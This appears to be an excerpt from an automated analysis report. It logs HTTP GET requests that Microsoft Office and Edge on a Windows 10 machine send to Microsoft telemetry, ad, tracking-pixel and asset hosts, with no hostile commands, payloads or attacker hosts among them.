Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044646Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3d8a480e2c7c4ca08a16ac9fe2b2229b&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-88000045&oemName=ydvpvu%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ydvpvu20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAay3PZhKuCkrPSyBC+K7jS3lqIgx8Fbh3P99oi5sRGvkmbvl2RGH4X2qzx1UdEdBUw9sFgvhNPCRd/vl7bxUKzV4sEzwTLWEkQ/dntSf4KvoW7ZBXGfu/oDdzIJTlyLzUWWtV2diANnBGjU9MnwzFQ6qNVHxZrBzQJUrzIJalVCOgQPea/AReTYEo0YNIZNffKvav7hxXhm5deBNslSLDuHAfnLcx/DpC5Q4TWiL80qk9/KgM7D9WmClKcQMerHwQLX+Iq20oi8kPFwASv0aOjJhF5A4W/PAEqtLCwJABrwr/fOzy6fB7ugjEV53NE7TiNDkhQZ6Hcpa0zkoG8di34AQZgAAEJZf5Y8wCICPvPK+lWhfMliwAQLru2vWpGnoTiAh+ZkVhtnGcXTenkKJfOx0+xNu3wXZbOu/CUaA9/+UB2RQ8nrA3J63lkzNtHGL4iPuXeJG34Ij/KzxMz/lhbvDfH2KsWL5MOMm50sgZJFcomS7VuhaSIvNd/oRxxxdeC2EyqJ3Fpoql3OvT3w3apYaRmi5/YYIwJ+mFFYiIasYr2MztIp2MvEScVARIB6C/zIG17xuvU2IedZDF261TYv4DOL/V3sl4MXgagdeV8qpa3QvSTA+2XEVqRCNkWytoLY0KdTnLKvMkJwhluD7KnyKN9hgEGP6nnYwo/wqcOpt/yvcxM4D7Fb6OMt5wh+6rx5bybn+42jMLdQtn1vULEH+7Wdu9WEKb+pgY8a6f5yB6wamUhui+Ad7szIBR8r04ZwzuebMGEzUx8uiwqPwfvP/176HaRFxs2bGn1qSHvXgFfrLLn9R/xChp26GwWciHc9xleM7JeQZ67xvMKoBEUfLrOrcPmWN2O/RRJp+RJtvFCQ1pqcZl1oGlOxjjEDsO53us0k9MdRg2liTXjY0w0Ua2xPTU2pImvd4HY183+u12oJVumFcN9cB&p=Cache-Control: no-cacheMS-CV: Z+JJd683IUawsNQV.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8EmjhgaQN_3yGIVB2BzCR1DVUCUxBSFS6pnRVdMjzaZhjutNyiKmn2y0Xpy4vRteegtNnhgWbsdTBwyTqPqLaWueC7jOQSdNifEZH6l-mseXq_4I-12iyczjNd2pVWTDiakaO-ZCge5TzSLhg_Na4rFMqpGu1hkmeb4mZqQnSe3bCWk5S%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmZyZWUtb2ZmaWNlLW9ubGluZS1mb3ItdGhlLXdlYiUzZm9jaWQlM2RjbW01enF4NmxxMA%26rlid%3D6349388a3f1a17c2cfc95fce3e012b0d&TIME=20241125T044646Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /aes/c.gif?RG=796357e597ea4b7d8013f914fe1b8bd4&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241125T044646Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: www.bing.comConnection: Keep-AliveCookie: MUID=1CB5F00CB9A36D683AD1E54EB88A6C62
Source: global traffic	HTTP traffic detected: GET /b?rn=1732510010756&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3C5B860E698662B2092E934C680C6309&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732510010755&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=30516179784a442f849e382ceb949bec&activityId=30516179784a442f849e382ceb949bec&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3C5B860E698662B2092E934C680C6309; _EDGE_S=F=1&SID=269DF6BE1237649B1D36E3FC137065DE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3C5B860E698662B2092E934C680C6309&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=04df930caeeb455999b2103bf63b7b0f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3C5B860E698662B2092E934C680C6309; _EDGE_S=F=1&SID=269DF6BE1237649B1D36E3FC137065DE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBhw.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8EmjhgaQN_3yGIVB2BzCR1DVUCUxBSFS6pnRVdMjzaZhjutNyiKmn2y0Xpy4vRteegtNnhgWbsdTBwyTqPqLaWueC7jOQSdNifEZH6l-mseXq_4I-12iyczjNd2pVWTDiakaO-ZCge5TzSLhg_Na4rFMqpGu1hkmeb4mZqQnSe3bCWk5S%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmZyZWUtb2ZmaWNlLW9ubGluZS1mb3ItdGhlLXdlYiUzZm9jaWQlM2RjbW01enF4NmxxMA%26rlid%3D6349388a3f1a17c2cfc95fce3e012b0d&TIME=20241125T044646Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=1CB5F00CB9A36D683AD1E54EB88A6C62; _EDGE_S=SID=0F34CA01AA06600901F6DF43AB1E6161; MR=0
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732510010756&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3C5B860E698662B2092E934C680C6309&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1BEe5b4e5edcb9abd44dec51732510013; XID=1BEe5b4e5edcb9abd44dec51732510013
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3C5B860E698662B2092E934C680C6309&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=9876dd332aa144ea92f9612fee5e77a8 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3C5B860E698662B2092E934C680C6309; _EDGE_S=F=1&SID=269DF6BE1237649B1D36E3FC137065DE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
